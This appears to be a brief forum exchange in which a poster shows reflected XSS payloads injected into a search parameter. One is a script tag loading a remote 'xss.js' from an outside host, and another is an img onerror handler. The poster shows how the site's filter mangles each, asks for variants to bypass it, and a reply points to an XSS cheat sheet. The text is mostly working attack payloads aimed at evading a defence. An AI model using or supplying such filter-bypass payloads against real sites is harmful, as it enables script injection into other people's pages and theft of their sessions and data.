site.com/search/?a=1"/><script src=http://mysite.com/xss.js></script>

<input type="text" name="a" value="1"/><sc ript src=http://mysite.com/xss.js></script>" size="40" maxlength="50" />&nbsp;<input name="s" type="submit" value="Search" />

site.com/search/?a=1"/><img src=l onerror=prompt(1);>

<input type="text" name="a" value="1"/><img src=l one rror=prompt(1);>" size="40" maxlength="50" />&nbsp;<input name="s" type="submit" value="Search" />

is there any variants of realization?

Looks like a blacklist of tags/properties. Try the alternatives on ha.ckers.org/xss.html